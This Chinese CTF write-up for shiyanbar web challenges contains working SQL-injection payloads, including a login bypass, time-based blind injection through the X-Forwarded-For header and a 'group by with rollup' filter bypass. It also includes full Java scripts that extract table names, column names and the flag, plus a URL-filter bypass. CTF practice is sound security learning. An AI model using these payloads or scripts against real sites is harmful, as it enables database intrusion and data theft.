登陸一下好嗎??
題目設置了一個條件,返回字段數(shù)少于3條就不予返回,所以要求你的語句能夠返回全部的語句
賬號密碼都是admin'='
who are you?
用了X-Forward-For頭的注入攻擊
X-Forwarded-For: aa' or sleep(3) and 'a'='a
然后發(fā)現(xiàn)回復的ip為注入語句,burp扔給sqlmap跑不出來,檢測有過濾,
雖然看不懂放個腳本吧(java版 httpclient 4.5)
4.1獲取表
public static void getTable() throws ClientProtocolException, IOException{String table="";for(int m=1;m<20;m++)for (int i = 32; i < 127; i++){long t1 = System.currentTimeMillis();HttpClient client = HttpClients.createDefault();String url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php";HttpGet get = new HttpGet(url);get.addHeader("X-Forwarded-For"," aa' or (SELECT CASE WHEN"+ " ( Ascii( SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema=database()) FROM "+ m +" FOR 1))="+i+")"+ " THEN SLEEP(4) ELSE SLEEP(0) END )? and 'a'='a");CloseableHttpResponse response = (CloseableHttpResponse) client.execute(get);HttpEntity enity = response.getEntity();String body = EntityUtils.toString(enity, "UTF-8");long t2 = System.currentTimeMillis();//System.out.println(body);System.out.println((t2 - t1)+"s,i="+i+"? "+table);if((t2-t1)>4000){table=table+(char)i;System.out.println(table);break;}}
}
發(fā)現(xiàn)有 cilent_ip和flag兩個表
4.2獲取列
public static void getcolumn() throws ClientProtocolException, IOException
{
String database="";
for(int m=1;m<20;m++)
for (int i = 32; i < 127; i++)
{
long t1 = System.currentTimeMillis();
HttpClient client = HttpClients.createDefault();
String url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php";
HttpGet get = new HttpGet(url);
get.addHeader("X-Forwarded-For"," aa' or (SELECT CASE WHEN"
+ " ( Ascii( SUBSTRING((select group_concat(column_name) from information_schema.columns where table_name='flag') FROM "+ m +" FOR 1))="+i+")"
+ " THEN SLEEP(5) ELSE SLEEP(0) END )? and 'a'='a");
CloseableHttpResponse response = (CloseableHttpResponse) client.execute(get);
HttpEntity enity = response.getEntity();
String body = EntityUtils.toString(enity, "UTF-8");
long t2 = System.currentTimeMillis();
//System.out.println(body);
System.out.println((t2 - t1)+"s,i="+i+"? "+database);
if((t2-t1)>5000)
{
database=database+(char)i;
System.out.println(database);
break;
}
}
}
跑出flag這個列
4.3 跑flag
public static void getflag() throws ParseException, IOException
{
String database="";
for(int m=1;m<50;m++)
for (int i = 32; i < 127; i++)
{
long t1 = System.currentTimeMillis();
HttpClient client = HttpClients.createDefault();
String url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php";
HttpGet get = new HttpGet(url);
get.addHeader("X-Forwarded-For"," aa' or (SELECT CASE WHEN"
+ " ( Ascii( SUBSTRING((select flag from flag) FROM "+ m +" FOR 1))="+i+")"
+ " THEN SLEEP(6) ELSE SLEEP(0) END )? and 'a'='a");
CloseableHttpResponse response = (CloseableHttpResponse) client.execute(get);
HttpEntity enity = response.getEntity();
String body = EntityUtils.toString(enity, "UTF-8");
long t2 = System.currentTimeMillis();
//System.out.println(body);
System.out.println((t2 - t1)+"s,i="+i+"? "+database);
if((t2-t1)>6000)
{
database=database+(char)i;
System.out.println(database);
break;
}
}
}
因缺思汀的繞過
查看網(wǎng)頁的源碼,發(fā)現(xiàn)登錄的源碼路徑是source.txt
從源碼中可以知道這些全都被過濾了:and|select|from|where|union|join|sleep|benchmark|,|\(|\)
并且數(shù)據(jù)庫中只有一條數(shù)據(jù)
if (mysql_num_rows($query) == 1)
最核心的部分是這里
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
大致的執(zhí)行過程是先將用戶輸入的uname作為查詢條件,在數(shù)據(jù)庫中查詢uname和pwd,然后將查詢到的pwd與用戶輸入的pwd進行比較,內(nèi)容一致才輸出flag
這里的思路是,利用group by pwd with rollup在查詢中的一個特點,他可以返回pwd所在的那一條記錄,通過limit控制返回哪一條,因此他不可以返回多條,一旦返回2條及以上,pwd就會為空,但同一條記錄中的其他字段則是正常的
那么利用這一點令查詢結(jié)果為空,我們輸入的pwd也為空值,則構(gòu)成了if(null==null)為true
即:輸入的用戶名為:' or 1=1 group by pwd with rollup limit 1 offset 2 #
這里解釋一下此時執(zhí)行的SQL:
SELECT * FROM interest where uname=' ' or 1=1
group by pwd with rollup? (在數(shù)據(jù)庫中添加一行使得pwd=NULL)
limit 1 (只查詢一行)
offset 2? (從第二行開始查詢)
#注釋
此時密碼只要為空即可查詢成功
簡單的注入3
扔給SQLMAP
簡單的注入2
讓我進去
hash長度擴展
拐彎抹角
偽靜態(tài)
'
//?code?by?SEC@USTC
echo'';
$URL=$_SERVER['REQUEST_URI'];
//echo?'URL:?'.$URL.'
';
$flag="CTF{???}";
$code=str_replace($flag,'CTF{???}',file_get_contents('./index.php'));
$stop=0;
//這道題目本身也有教學的目的
//第一,我們可以構(gòu)造?/indirection/a/../?/indirection/./?等等這一類的
//所以,第一個要求就是不得出現(xiàn)?./
if($flag&&strpos($URL,'./')?!==FALSE){
$flag="";
$stop=1;//Pass
}
//第二,我們可以構(gòu)造?\?來代替被過濾的?/
//所以,第二個要求就是不得出現(xiàn)?../
if($flag&&strpos($URL,'\\')?!==FALSE){
$flag="";
$stop=2;//Pass
}
//第三,有的系統(tǒng)大小寫通用,例如?indirectioN/
//你也可以用?和#等等的字符繞過,這需要統(tǒng)一解決
//所以,第三個要求對可以用的字符做了限制,a-z?/?和?.
$matches=?array();
preg_match('/^([0-9a-z\/.]+)$/',$URL,$matches);
if($flag&&?empty($matches)?||$matches[1]?!=$URL){
$flag="";
$stop=3;//Pass
}
//第四,多個?/?也是可以的
//所以,第四個要求是不得出現(xiàn)?//
if($flag&&strpos($URL,'//')?!==FALSE){
$flag="";
$stop=4;//Pass
}
//第五,顯然加上index.php或者減去index.php都是可以的
//所以我們下一個要求就是必須包含/index.php,并且以此結(jié)尾
if($flag&&substr($URL,?-10)?!=='/index.php'){
$flag="";
$stop=5;//Not?Pass
}
//第六,我們知道在index.php后面加.也是可以的
//所以我們禁止p后面出現(xiàn).這個符號
if($flag&&strpos($URL,'p.')?!==FALSE){
$flag="";
$stop=6;//Not?Pass
}
//第七,現(xiàn)在是最關(guān)鍵的時刻
//你的$URL必須與/indirection/index.php有所不同
if($flag&&$URL=='/indirection/index.php'){
$flag="";
$stop=7;//Not?Pass
}
if(!$stop)$stop=8;
echo'Flag:?'.$flag;
echo'';
for($i=1;$i<$stop;$i++)
$code=str_replace('//Pass?'.$i,'//Pass',$code);
for(;$i<8;$i++)
$code=str_replace('//Pass?'.$i,'//Not?Pass',$code);
echohighlight_string($code,TRUE);
echo'';
題目的意思就是通過改變地址欄訪問index.PHP,但是限制了條件不能使用 ./? ../ \\ 而且只能使用小寫字母,不可以在php后加點,這里我們可以利用偽靜態(tài)技術(shù),使用http://ctf10.shiyanbar.com:8888/indirection/index.php/index.php,index.php后的index.php會被當做參數(shù)處理,所以服務器只會解析第一個index.php,滿足條件成功繞過
forms
burpsuite抓包 改values 出源碼,填入$a 出flag